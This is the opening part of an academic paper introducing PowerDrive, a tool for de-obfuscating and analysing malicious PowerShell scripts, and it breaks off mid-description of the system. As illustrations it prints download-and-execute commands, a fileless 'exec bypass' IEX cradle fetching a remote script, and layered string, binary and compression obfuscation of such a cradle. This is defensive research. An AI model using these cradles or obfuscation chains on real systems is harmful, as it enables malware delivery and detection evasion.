[PolarizerAngle1] [FLOAT] NOT NULL,
[PolarizerAngle2] [FLOAT] NOT NULL,
[ImageProjected] [bit] NOT NULL,
[LaserTransform_X] [FLOAT] NOT NULL,
[LaserTransform_Y] [FLOAT] NOT NULL,
[LaserTransform_Z] [FLOAT] NOT NULL,
[LaserTransform_rX] [FLOAT] NOT NULL,
[LaserTransform_rY] [FLOAT] NOT NULL,
[LaserTransform_rZ] [FLOAT] NOT NULL,
[LaserPosition_X] [FLOAT] NOT NULL,
[LaserPosition_Y] [FLOAT] NOT NULL,
[LaserPosition_Z] [FLOAT] NOT NULL,
[LaserPosition_rX] [FLOAT] NOT NULL,
[LaserPosition_rY] [FLOAT] NOT NULL,
[LaserPosition_rZ] [FLOAT] NOT NULL,
[ProjectionError] [INT] NOT NULL,
[LocalTransform_X] [FLOAT] NOT NULL,
[LocalTransform_Y] [FLOAT] NOT NULL,
[LocalTransform_Z] [FLOAT] NOT NULL,
[LocalTransform_rX] [FLOAT] NOT NULL,
[LocalTransform_rY] [FLOAT] NOT NULL,
[LocalTransform_rZ] [FLOAT] NOT NULL,
[IsHighAngleOfIncidence] [bit] NOT NULL,
CONSTRAINT [PK_dbo.Inspection_CapturedImageQueueItem] PRIMARY KEY CLUSTERED
(
[ID] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [PolarizerAngle1]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [PolarizerAngle2]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [ImageProjected]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [LaserTransform_X]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [LaserTransform_Y]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [LaserTransform_Z]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [LaserTransform_rX]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [LaserTransform_rY]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [LaserTransform_rZ]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [LaserPosition_X]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [LaserPosition_Y]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [LaserPosition_Z]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [LaserPosition_rX]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [LaserPosition_rY]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [LaserPosition_rZ]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [ProjectionError]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [LocalTransform_X]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [LocalTransform_Y]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [LocalTransform_Z]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [LocalTransform_rX]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [LocalTransform_rY]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [LocalTransform_rZ]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] ADD DEFAULT ((0)) FOR [IsHighAngleOfIncidence]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] WITH CHECK ADD CONSTRAINT [FK_dbo.Inspection_CapturedImageQueueItem_dbo.Inspection_PartProgramInstance_PartProgramInstance_Id] FOREIGN KEY([PartProgramInstance_Id])
REFERENCES [dbo].[Inspection_PartProgramInstance] ([Id])
GO
ALTER TABLE [dbo].[Inspection_CapturedImageQueueItem] CHECK CONSTRAINT [FK_dbo.Inspection_CapturedImageQueueItem_dbo.Inspection_PartProgramInstance_PartProgramInstance_Id]
GO
</code></pre>
<p><strong>Child Table Definition</strong></p>
<pre><code>
USE [DB]
GO
/****** Object: Table [dbo].[Inspection_CapturedImageItem] Script Date: 1/11/2018 9:01:34 AM ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE TABLE [dbo].[Inspection_CapturedImageItem](
[ID] [int] IDENTITY(1,1) NOT NULL,
[PolarizerAngle] [float] NOT NULL,
[ImageRequest_ID] [int] NULL,
[TimeTakenUTC] [datetime] NOT NULL,
[ProjectorNumber] [int] NOT NULL,
[AngleOfIncidence] [float] NOT NULL,
[MirrorRx] [float] NOT NULL,
[MirrorRy] [float] NOT NULL,
CONSTRAINT [PK_dbo.Inspection_CapturedImageItem] PRIMARY KEY CLUSTERED
(
[ID] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageItem] ADD DEFAULT ('1900-01-01T00:00:00.000') FOR [TimeTakenUTC]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageItem] ADD DEFAULT ((0)) FOR [ProjectorNumber]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageItem] ADD DEFAULT ((0)) FOR [AngleOfIncidence]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageItem] ADD DEFAULT ((0)) FOR [MirrorRx]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageItem] ADD DEFAULT ((0)) FOR [MirrorRy]
GO
ALTER TABLE [dbo].[Inspection_CapturedImageItem] WITH CHECK ADD CONSTRAINT [FK_dbo.Inspection_CapturedImageItem_dbo.Inspection_CapturedImageQueueItem_ImageRequest_ID] FOREIGN KEY([ImageRequest_ID])
REFERENCES [dbo].[Inspection_CapturedImageQueueItem] ([ID])
GO
ALTER TABLE [dbo].[Inspection_CapturedImageItem] CHECK CONSTRAINT [FK_dbo.Inspection_CapturedImageItem_dbo.Inspection_CapturedImageQueueItem_ImageRequest_ID]
GO
</code></pre>
<p><strong>Indices</strong></p>
<p><a href="https://i.stack.imgur.com/7JZfN.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/7JZfN.png" alt="enter image description here"></a></p>
| 0non-cybersec
| Stackexchange |
Is a burnt silicone baking mat a health hazard/dangerous?. Hey r/Cooking!
So I got this pretty awesome silicone baking mat as a present a few weeks ago. The first couple times, it needed to outgas (I think?) because it filled the stove with this gross plasticky smell, but that stopped after a bit.
Now I've [burnt it](http://imgur.com/LzsL8) (and a sad day that was... I guess I let it get above its maximum temperature?), or at least [browned it quite a bit](http://i.imgur.com/Kvpri.jpg). I'm wondering if I should continue to us it. Google hasn't been of much help in finding answers, so I figured I'd ask here!
Are there any health risks associated with burnt silicone? Will the mat still be usable? | 0non-cybersec
| Reddit |
Windows 10 - General failure when pinging my own IP (works for localhost). <p>This is related to me trying to resolve problem from this question (<a href="https://superuser.com/questions/1330686/win10-cant-reach-ubuntu-vm-after-last-big-windows-update-again">Win10 - can't reach ubuntu VM after last big windows update (again :-/ )</a>). </p>
<p>System: windows 10 pro.
Problem: pinging my own IP returnes general failure:</p>
<p><strong><code>ipconfig</code></strong>:</p>
<pre><code>Wireless LAN adapter Wi-Fi:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.10.21.181
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.21.1
</code></pre>
<p><strong><code>ping 10.10.21.181</code></strong>:</p>
<pre><code>C:\Users\wojtek>ping 10.10.21.181
Pinging 10.10.21.181 with 32 bytes of data:
General failure.
General failure.
General failure.
General failure.
Ping statistics for 10.10.21.181:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
</code></pre>
<p>Does anybody has any idea what might be the reason? Or how to proceed in trying to resolve this?</p>
<p><strong>[EDIT] - Resolved</strong>. The problem was some weird interaction between networking stack, virtualbox adapters and NordVPN/NordVPN TAP Driver. Everything was working fine together before last windows update and went belly up after that.</p>
<p>I have uninstalled NordVPN and related TAP driver, uninstalled network interfaces and let windows reinstall them after restart. Now it is working as expecting. I will now try to reinstall Nord VPN on top of it and see if it still works.</p>
| 0non-cybersec
| Stackexchange |
Changing the sort order of -[NSArray sortedArrayUsingComparator:]. <p>I need to generate a sorted array of <code>NSNumber</code>s from another <code>NSArray</code>. I want to use the <code>sortedArrayUsingComparator:</code> method. I found this example in the Apple documentation:</p>
<pre><code>NSArray *sortedArray = [array sortedArrayUsingComparator: ^(id obj1, id obj2) {
if ([obj1 integerValue] > [obj2 integerValue]) {
return (NSComparisonResult)NSOrderedDescending;
}
if ([obj1 integerValue] < [obj2 integerValue]) {
return (NSComparisonResult)NSOrderedAscending;
}
return (NSComparisonResult)NSOrderedSame;
}];
</code></pre>
<p>Here I am just providing the comparator in a block, which is fine. The sort itself -- the bit that's hidden from me, which uses this block -- appears to be ascending. </p>
<p>I'd like to know if I can request a different sort order external to this block, or do I just need to flip the <code><</code> and <code>></code>'s (or <code>NSOrderedXXX</code>'s) around?</p>
| 0non-cybersec
| Stackexchange |
Password PXE Install. <p>I tried to install Ubuntu server using PXE.</p>
<p>During the installation the system never ask me for a password or a login but at the end of the installation when the computer restart he asked me for a login and a password but i don't what are the password and the login :-/.</p>
<p>I'm working with MAAS and cobbler.</p>
| 0non-cybersec
| Stackexchange |
Creating address from private key (bitcoin puzzle). <p>I saw a puzzle <a href="https://bitcointalk.org/index.php?topic=1306983.0" rel="nofollow noreferrer">here</a> and I'm having problems understanding how the addresses are created. So the post there has a list of addresses like:</p>
<p>Address 5:</p>
<p>KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU7Dq8Au4Pv
1E6NuFjCi27W5zoXg8TRdcSRq84zJeBW3k
Biginteger PVK value: 21
Hex PVK value: 15</p>
<p>Address 6:</p>
<p>KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU7Tmu6qHxS
1PitScNLyp2HCygzadCh7FveTnfmpPbfp8
Biginteger PVK value: 49
Hex PVK value: 31</p>
<p>Address 7:</p>
<p>KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU7hDgvu64y
1McVt1vMtCC7yn5b9wgX1833yCcLXzueeC
Biginteger PVK value: 76
Hex PVK value: 4C</p>
<p>So, taking Address 7 as an example, I believe the address is 1McVt1vMtCC7yn5b9wgX1833yCcLXzueeC and the private key is 76 in decimal and 4C in hex.</p>
<p>What is KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU7hDgvu64y ? Is that the public key?</p>
<p>And how do you go from that private key and the other value to the address?</p>
<p>I tried <a href="https://bitcoin.stackexchange.com/a/19776">this</a> answer but didn't get the same result</p>
<p>Any help would be very useful. Thanks</p>
| 0non-cybersec
| Stackexchange |
OSX: Lion available for download in app store. | 0non-cybersec
| Reddit |
Upload a chain through PLESK where there are only fields for the certificate and the authority?. <p>I have a free certificate bundle which include a root, intermediate, server and CA crt files. I am trying to use this 3rd-party certificate in a GoDaddy PLESK hosted solution and have the option to upload the certificates as text into two fields: certificate and certificate CA text field. So far I have uploaded the server certificate and CA certificate, however an SSL check confirms the chain is incomplete and some users experience a certificate error in Chrome.</p>
<p>How do I upload the entire chain into these two fields? I understand I can copy the text value of the crt files one after the other in a single field. Which certificate value goes into which field in what order?</p>
| 0non-cybersec
| Stackexchange |
Happy pride all my lovely lgbtq+ people 🌈❤️. | 0non-cybersec
| Reddit |
TabLayout missing after updating Design Support Library. <p>I updated the design support library from version 22.2.0 to 22.2.1 yesterday and I'm facing a strange behaviour with <code>TabLayout</code>.
On version 22.2.0, the TabLayout worked just fine, but now it doesn't show up in my frag unless I rotate my phone (then it appears).
I haven't changed my code, it just stopped working.</p>
<p>Here are the snippets:</p>
<pre><code>public class FriendFragment extends Fragment {
@Bind(R.id.friendPager)
ViewPager viewPager;
@Bind(R.id.friendSlideTab)
TabLayout tabLayout;
...
@Override
public void onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View v = inflater.inflate(R.layout.fragment_friend,container,false);
ButterKnife.bind(this,v);
return v;
}
@Override
public void onViewCreated(View view, @Nullable Bundle savedInstanceState) {
super.onViewCreated(view, savedInstanceState);
list.add(new SlideFragment(getString(R.string.my_friends), new MyFriendsFragment()));
list.add(new SlideFragment(getString(R.string.add_friend), new SearchFriendFragment()));
adapter = new FragmentSliderAdapter(list, getChildFragmentManager());
viewPager.setAdapter(adapter);
tabLayout.setupWithViewPager(viewPager);
}
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:orientation="vertical">
<android.support.design.widget.TabLayout
android:id="@+id/friendSlideTab"
android:layout_width="match_parent"
android:layout_height="wrap_content">
</android.support.design.widget.TabLayout>
<android.support.v4.view.ViewPager xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/friendPager"
android:layout_width="match_parent"
android:layout_height="0px"
android:layout_weight="1" />
</LinearLayout>
</code></pre>
<p>I use ButterKnife, don't think it would make any difference since in the previous version it was working with it.</p>
<p>Thanks and any help would be appreciated !</p>
| 0non-cybersec
| Stackexchange |
Oriented cobordism classes represented by rational homology spheres. <p>Any homology sphere is <a href="https://mathoverflow.net/questions/242412/are-homology-spheres-stably-trivial">stably parallelizable</a>, hence nullcobordant. However, rational homology spheres need not be nullcobordant, as the example of the Wu manifold shows, which generates <span class="math-container">$\text{torsion}({\Omega^{\text{SO}}_{5}}) \cong \mathbb Z/2\mathbb Z$</span>. This motivates the following question.</p>
<p><strong>Which classes in <span class="math-container">$\Omega^{\text{SO}}_{\ast}$</span> can be represented by rational homology spheres?</strong></p>
<p>Of course, any such class is torsion, as all its composite Pontryagin numbers, as well as its signature, vanish.</p>
| 0non-cybersec
| Stackexchange |
See a video of a great old song from Baby Driver... Musical Moments: Ferreira, Easy. | 0non-cybersec
| Reddit |
What are your favorite 10+ recipes?. I am gone most of the day at work and find my food gets dried out even when on the “keep warm” setting. So I’m wondering what your favorite 10+ hour recipes are. | 0non-cybersec
| Reddit |
PowerDrive: Accurate De-Obfuscation and
Analysis of PowerShell Malware
Denis Ugarte1, Davide Maiorca1, Fabrizio Cara1, and Giorgio Giacinto1
Department of Electrical and Electronic Engineering, University of Cagliari, Italy
[email protected],
{davide.maiorca,fabrizio.cara,giacinto}@diee.unica.it
Abstract. PowerShell is nowadays a widely-used technology to admin-
istrate and manage Windows-based operating systems. However, it is
also extensively used by malware vectors to execute payloads or drop
additional malicious contents. Similarly to other scripting languages used
by malware, PowerShell attacks are challenging to analyze due to the
extensive use of multiple obfuscation layers, which make the real malicious
code hard to be unveiled. To the best of our knowledge, a comprehensive
solution for properly de-obfuscating such attacks is currently missing. In
this paper, we present PowerDrive, an open-source, static and dynamic
multi-stage de-obfuscator for PowerShell attacks. PowerDrive instruments
the PowerShell code to progressively de-obfuscate it by showing the ana-
lyst the employed obfuscation steps. We used PowerDrive to successfully
analyze thousands of PowerShell attacks extracted from various malware
vectors and executables. The attained results show interesting patterns
used by attackers to devise their malicious scripts. Moreover, we provide
a taxonomy of behavioral models adopted by the analyzed codes and a
comprehensive list of the malicious domains contacted during the analysis.
1 Introduction
The most recent reports about cyber threats showed that PowerShell based
attacks had been extensively used to carry out infections [27, 26, 16, 18]. Such
attacks have become especially popular as they can be easily embedded in malware
vectors such as Office documents (by resorting to macros [6]) so that they could
efficiently evade anti-malware detection and automatic analysis. An example of
large-scale infection related to Office documents and PowerShell happened in
2018, with a massive SPAM campaign, targeting Japan, featuring more than
500, 000 e-mails carrying malicious Excel documents [18].
PowerShell is a technology that is typically used to administrate Microsoft
Windows-based operating systems. It is a very rich scripting language that allows
administrators and users to easily manipulate not only the file system but also
the registry keys that are essential for the functionality of the operating system.
Unfortunately, giving the user such a high degree of freedom also means that
PowerShell is perfect for malware creators. In particular, it is possible to execute
ar
X
iv
:1
90
4.
10
27
0v
2
[
cs
.C
R
]
2
4
A
pr
2
01
9
2 Denis Ugarte, Davide Maiorca, Fabrizio Cara, and Giorgio Giacinto
external codes (or to contact URLs) without even resorting to famous vulnerability
exploiting techniques such as buffer overflow or return-oriented programming.
Another critical property of PowerShell codes is that that automatic, off-the-
shelf tools can heavily and repeatedly obfuscate them (e.g., [3]), making static
analysis unfeasible.
De-obfuscating PowerShell codes is crucial for at least three reasons: (i) it
helps to unveil traces of malicious URLs and domains that drop malware or
other infection vectors; (ii) it provides information about which obfuscation
techniques were used to conceal the code, shedding light on the attacker’s aims;
(iii) it simplifies the use of additional technologies (e.g., machine learning) to
perform malware detection, as it highlights information that can be useful for
the learning algorithms. In particular, from the scientific point of view, there has
been an effort to use machine learning to discriminate between malicious and
benign PowerShell codes [10, 14] without directly de-obfuscating them. However,
the problem of these approaches is that it is unfeasible to understand what
these codes execute, and what are the strategies devised by attackers to evade
detection.
Current de-obfuscators are either not public [13], or strongly limited at
analyzing PowerShell codes [22]. In this paper, we aim to fill these gaps by
presenting and releasing PowerDrive, an automatic, static and dynamic de-
obfuscator for PowerShell codes. PowerShell has been developed by considering
the possibility of multiple obfuscation strategies, which are comprehensively
presented in this paper. PowerDrive recursively de-obfuscates the code by showing
the analyst every obfuscation layer (we refer to it as multi-stage de-obfuscation)
and provides the additional payloads and executable that are dropped by, for
example, contacting external URLs. To assess the efficacy of PowerDrive at
de-obfuscating malicious codes, we deployed PowerDrive on a real scenario by
analyzing thousands of malicious scripts obtained from executable and malicious
Office files. The attained results showed that our system could accurately analyze
more than 95% of the scripts, thus exhibiting interesting behavioral patterns
that are typically used in such attacks. We provide various statistics about the
properties of these attacks: from the environmental variables to the encodings
and the distribution of the obfuscation layers that are employed. Finally, we were
able to extract multiple URLs connected to existing and working domains, and
we report here the most prominent ones. The attained results depict a vibrant
portrait that demonstrates how attackers may vary their strategy to achieve
effective infection. We point out that PowerDrive is a public, open-source project
[30]. Its results can be combined with other systems to provide efficient detection
mechanisms and to build defenses against novel attack strategies proactively.
The rest of the paper is organized as follows: Section 2 provides the essential
concepts to understand PowerShell codes and malware. Section 3 provides an
insight into how PowerShell codes can be obfuscated. Section 4 describes the
architecture and functionality of the proposed system. Section 5 discusses the
PowerDrive: Accurate De-Obfuscation and Analysis of PowerShell Malware 3
results of the evaluation. Section 6 discusses the limitation of our work. Section 7
provides an overview of the related work in the field. Section 8 closes the paper.
2 Background
In this section, we provide the essential background to understand how
PowerShell codes work. Then, we give an overview of how PowerShell malware
typically performs its actions.
2.1 PowerShell Scripting Language
PowerShell [19] is a task-based command-line shell and scripting language
built on .NET. The language helps system administrators and users automate
tasks and processes, in particular on Microsoft Windows-based operating systems
(but it can also be used on Linux and MacOS). This scripting language is
characterized by five main characteristics, described in the following.
– Discoverability. PowerShell features mechanisms to discover its commands
easily, in order to simplify the development process.
– Consistency. PowerShell provides interfaces to consistently manage the
output of its commands, even without having precise knowledge of their
internals. For example, there is one sort function that can be safely applied
to the output of every command.
– Interactive and Scripting Environments. PowerShell combines inter-
active shells and scripting environments. In this way, it is possible to access
command-line tools, COM objects, and .NET libraries.
– Object Orientation. Objects can be easily managed and pipelined as inputs
to other commands.
– Easy Transition to Scripting. It is easy to create complex scripts, thanks
to the discoverability of the commands.
Get-ChildItem $Path -Filter "*.txt" |
Where-Object { $_.Attributes -ne "Directory"} |
ForEach-Object {
If (Get-Content $_.FullName | Select-String -Pattern
$Text) {
$PathArray += $_.FullName
$PathArray += $_.FullName
}
}
Listing 1.1. An example of PowerShell script.
4 Denis Ugarte, Davide Maiorca, Fabrizio Cara, and Giorgio Giacinto
Listing 1.1 shows a simple example of PowerShell code. This code gets all
the files that end with a .txt extension in the variable Path (each variable
is introduced by a $). This code is useful to introduce the concept of cmdlets,
i.e., lightweight commands that perform operations and return objects, making
scripts easy to read and execute. Users can implement their own customized
cmdlets or override existing ones (this aspect will be particularly important
in PowerDrive). In the case of the proposed listing, the employed cmdlets
are Get-ChildItem, Where-Object, ForEach-Object, Get-Content, Select-
String, and Write-Host. Note how using cmdlets makes the code reading
significantly easier, as their functionality can be often grasped directly from
their names. A comprehensive list of pre-made cmdlets can be found in [21].
2.2 PowerShell Malware
As pointed out in the introduction of this work, PowerShell can be exploited
by attackers to develop powerful attacks, especially against Windows machines.
Starting from Windows 7 SP1, PowerShell is installed by default in each release
of the operating system. Moreover, most of the PowerShell logging is disabled
by default, meaning that many background actions are mostly invisible. The lack
of proper logging makes malicious scripting codes easy to propagate remotely.
(New-Object System.Net.WebClient).DownloadFile(’http ://
xx.xx.xx.xx /~zebra/iesecv.exe ’,"$env:APPDATA\scvkem.exe")
;Start-Process ("$env:APPDATA\scvkem.exe")
Listing 1.2. An example of PowerShell malicious script.
A simple but typical example of PowerShell malware is reported in List-
ing 1.2. In this example, the malicious script downloads and executes an external
executable file (we concealed the IP address). In particular, it is possible to
observe the use of two cmdlets: New-Object and Start-Process. The first one
prepares the initialized web client to download the file, while the second one
starts the file that is downloaded through the additional API DownloadFile.
Note how the cmdlet Start-Process allows running external processes without
the need for exploiting vulnerabilities.
Another critical problem is the possibility of fileless execution. This tech-
nique is used when anti-malware systems attempt to stop the execution of
PowerShell scripts (that usually have the .ps1 extension). In this case, the
PowerShell script can be executed by directly loading it into memory or by
bypassing the default interpreter, so that the script can be executed with other
extensions (for example, .ps2) [17]. An example of fileless execution is reported
in Listing 1.3, in which the content of the malware.ps1 script is not saved on
the disk but directly loaded to memory (IEX is the abbreviation of the cmdlet
Invoke-Expression). The bypass parameter instructs PowerShell to ignore
execution policies so that commands could also be remotely executed.
PowerDrive: Accurate De-Obfuscation and Analysis of PowerShell Malware 5
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient
).DownloadString(’https ://[ website ]/ malware.ps1 ’)"
Listing 1.3. An example of fileless PowerShell execution.
3 PowerShell Obfuscation
With the term obfuscation, we define an ensemble of techniques that perform
modifications on binary files or source codes without altering their semantics,
intending to make them hard to understand for human analysts or machines.
These strategies are particularly effective against static analyzers of code and
signature-based detectors. More specifically, similar obfuscation techniques can
produce multiple output variants, making their automatic recognition often
unfeasible. Moreover, multiple obfuscation strategies can be combined to make
them unfeasible to be statically broken.
Similarly to other scripting languages such as JavaScript, PowerShell codes
are characterized by multi-stage (or multi-layered) obfuscation processes. With
this strategy, multiple types of obfuscation are not applied simultaneously, but
one after the other. In this way, it is harder for the analyst to have an idea
of what the code truly executes without first attempting to de-obfuscate the
previous layers. Three types of obfuscation layers are typically employed by
PowerShell malware:
– String-related. In this case, the term string refers not only to constant
strings on which method calls operate, but also to cmdlets, function param-
eters, and so forth. Strings are manipulated so that their reading is made
significantly more complex.
– Encoding. This strategy typically features Base64 or binary encodings,
which are typically applied to the whole script.
– Compression. As the name says, it applies compression to the whole script
(or to part of it).
Particular attention deserves the various obfuscation techniques related to
the String-based layer. They can be easily found in exploitation toolkits such as
Metasploit or off-the-shelf tools, such as Invoke Obfuscation by Bohannon [3].
In the following, we provide a list of the prominent ones.
– Concatenation. A string is split into multiple parts which are concatenated
through the operator +.
– Reordering. A string is divided into several parts, which are subsequently
reassembled through the format operator.
– Tick. Ticks are escape characters which are typically inserted into the middle
of a string.
6 Denis Ugarte, Davide Maiorca, Fabrizio Cara, and Giorgio Giacinto
Table 1. Most common PowerShell obfuscation strategies. The output of obfuscation
through Compression has been cut for space reasons.
Type Original Obfuscated
Conc. http://example.com/malware.exe http:// + ’’example.com’’ + ’’/malware.exe
Conc. http://example.com/malware.exe
$a = ’’http://’’; $b = ’’example.com’’;
$c = ’’/malware.exe’’; $a + $b + $c
Reor. http://example.com/malware.exe
{1}, {0}, {2}’ -f ’example.com’,
’http://’, ’/malware.exe’
Tick Start-Process ’malware.exe S‘tart-P‘‘roce‘ss ’malware.exe’
Eval. New-Object &(’New’ + ’-Object’)
Eval. New-Object &(’{1}{0}’ -f ’-Object’, ’New’)
Case New-Object nEW-oBjECt
White
$variable = $env:USERPROFILE +
’’\malware.exe’’
$variable = $env:USERPROFILE +
’’\malware.exe’’
Base64 Start-Process " malware .exe" U3RhcnQtUHJvY2VzcyAibWFsd2FyZS5leGUi
Comp.
(New-Object Net.WebClient)
.DownloadString ("http://example
.com/malware.exe")
.((VaRIAbLE ’*Mdr*’).nAme[3,11,2]-JoIn’’)
(neW-obJecT sySTEM.io.CoMPRESSION.DEfLAte
strEaM ([sYStem.Io.MeMoRystReam]
[SYstEm.COnveRt]::frOmBase64sTrinG(
’BcE7DoAgEAXAqxgqKITeVmssLKwXf...
– Eval. A string is evaluated as a command, in a similar fashion to eval in
JavaScript. This strategy allows performing any string manipulation on the
command.
– Up-Low Case. Random changes of characters from uppercase to lowercase
or vice versa.
– White Spaces. Redundant white spaces are inserted between words.
A complete summary of the effects of the obfuscations related to the String-
based, Encoding, and Compression layers is reported in Table 1. Notably, this
table does not indicate any possible obfuscation found in the wild, but only the
ones that are easy to access through automatic and off-the-shelf tools.
To conclude this section, we now report an example of multi-stage obfuscation.
Consider the the following command:
(New-Object Net.WebClient).DownloadString(’http ://
example.com/malware.exe ’)
Similarly to the example proposed in Section 2.2, this code downloads and
executes an .exe payload. Then, we obfuscated this code through three stages
(layers): String-based, Encoding and Compression. In particular, during the first
stage, we combined multiple obfuscation strategies. We employed this approach
to show that obfuscations are not only distributed through multiple layers but
also scattered on the same layer.
The results are reported in Listing 1.4. We employed Reordering, Tick, and
Concatenation on the command. Note how the string is progressively harder to
PowerDrive: Accurate De-Obfuscation and Analysis of PowerShell Malware 7
read. Notably, Reordering is particularly difficult to decode due to the possibility
of scrambling even very complex strings.
#Reordering
(New-Object System.Net.WebClient).DownloadString (("
\{0\}\{3\}\{7\}\{1\}\{5\}\{6\}\{8\}\{4\}\{2\}" -f ’http’,
’e.c’,’.exe’,’:// exam’,’are’,’om’,’/’,’pl’,’malw’))
#Tick
(NeW ‘-OB‘jECT System.Net.WebClient).DownloadString (("
\{0\}\{3\}\{7\}\{1\}\{5\}\{6\}\{8\}\{4\}\{2\}" -f ’http’,
’e.c’,’.exe’,’:// exam’,’are’,’om’,’/’,’pl’,’malw’))
#Concatenation
(NeW ‘-OB‘jECT (’System. ’+’Ne’+’t.We’+’bCl’+’ient’)).(’D’+’ow’
+’nloadStri ’+’n’+’g’).Invoke (("
\{0\}\{3\}\{7\}\{1\}\{5\}\{6\}\{8\}\{4\}\{2\}" -f ’http’,
’e.c’,’.exe’,’:// exam’,’are’,’om’,’/’,’pl’,’malw’))
Listing 1.4. String-based obfuscation of a PowerShell command. Multiple obfuscation
strategies have been employed on this layer.
As a second step, we applied encoding using, this time, a binary format.
Listing 1.5 shows the result (the binary string has been shortened for space
reasons).
. ( \$sHeLlID [1]+\ $SHEllid [13]+’x’) ( (’101000
I1001110B11001..........111 ~100111 I101001 :101001 ’.sPlIT(
’G:kIPq\%B~M’ )| forEAch{ ( [ChAR]( [ConverT ]:: TOINT16 (([
STRing ]\$_ ),2) ))})-JoIn’’ )
Listing 1.5. Binary encoding of a String-based obfuscated command. The binary string
has been cut for space reasons.
Finally, Listing 1.6 shows the final obfuscated command after applying one
last layer of compression.
#Original Code
(New-Object Net.WebClient).DownloadString("http :// example.com
/malware.exe")
#Compressed Code
.(( VaRIAbLE ’*Mdr*’).nAme [3,11,2]- JoIn’’) (neW-obJecT
sySTEM.io.CoMPRESSION.DEfLAtestrEaM ([
sYStem.Io.MeMoRystReam ][ SYstEm.COnveRt ]:: frOmBase64sTrinG
( ’BcE7DoAgEAXAqxgqKITeVmssLKwXfFHM8gnZBI/
vjPYY8x5eRJk8xJ4IKycUMXaro3Cl65Ceyq3VI9IW5/
BRbgwba3aZeFCHxQdlfg ==’ ),[ iO.COMpREsSION.CompresSionMoDE
]:: deCOmPRESs)|FOReACh-ObJeCt \{ neW-obJecT
IO.StrEaMrEadEr( \$_, [sYsTEM.tEXT.enCoDIng ]:: AscIi ) \})
.readtOend( )
Listing 1.6. Compressed and final output of a multi-stage obfuscation process of a
PowerShell command.
8 Denis Ugarte, Davide Maiorca, Fabrizio Cara, and Giorgio Giacinto
4 Introducing PowerDrive
The goal of this work was developing a comprehensive, efficient PowerShell de-
obfuscator. More specifically, the idea underlining the design of PowerDrive fol-
lows four main principles:
– Accuracy. The system is required to analyze the majority of malicious
PowerShell scripts found in the wild.
– Flexibility. The system is required to cope with complex obfuscation tech-
niques and with their variants.
– Multi-Stage. The system is required to recursively de-obfuscate scripts
through multiple obfuscation layers (as shown in Section 3).
– Usability. The system should be easy to use and easy to extend with new
functionalities.
Considering these principles, we developed PowerDrive as a system that
employs both static and dynamic analysis to de-obfuscate PowerShell malware.
It receives as input a PowerShell script (with embedded support to multi-
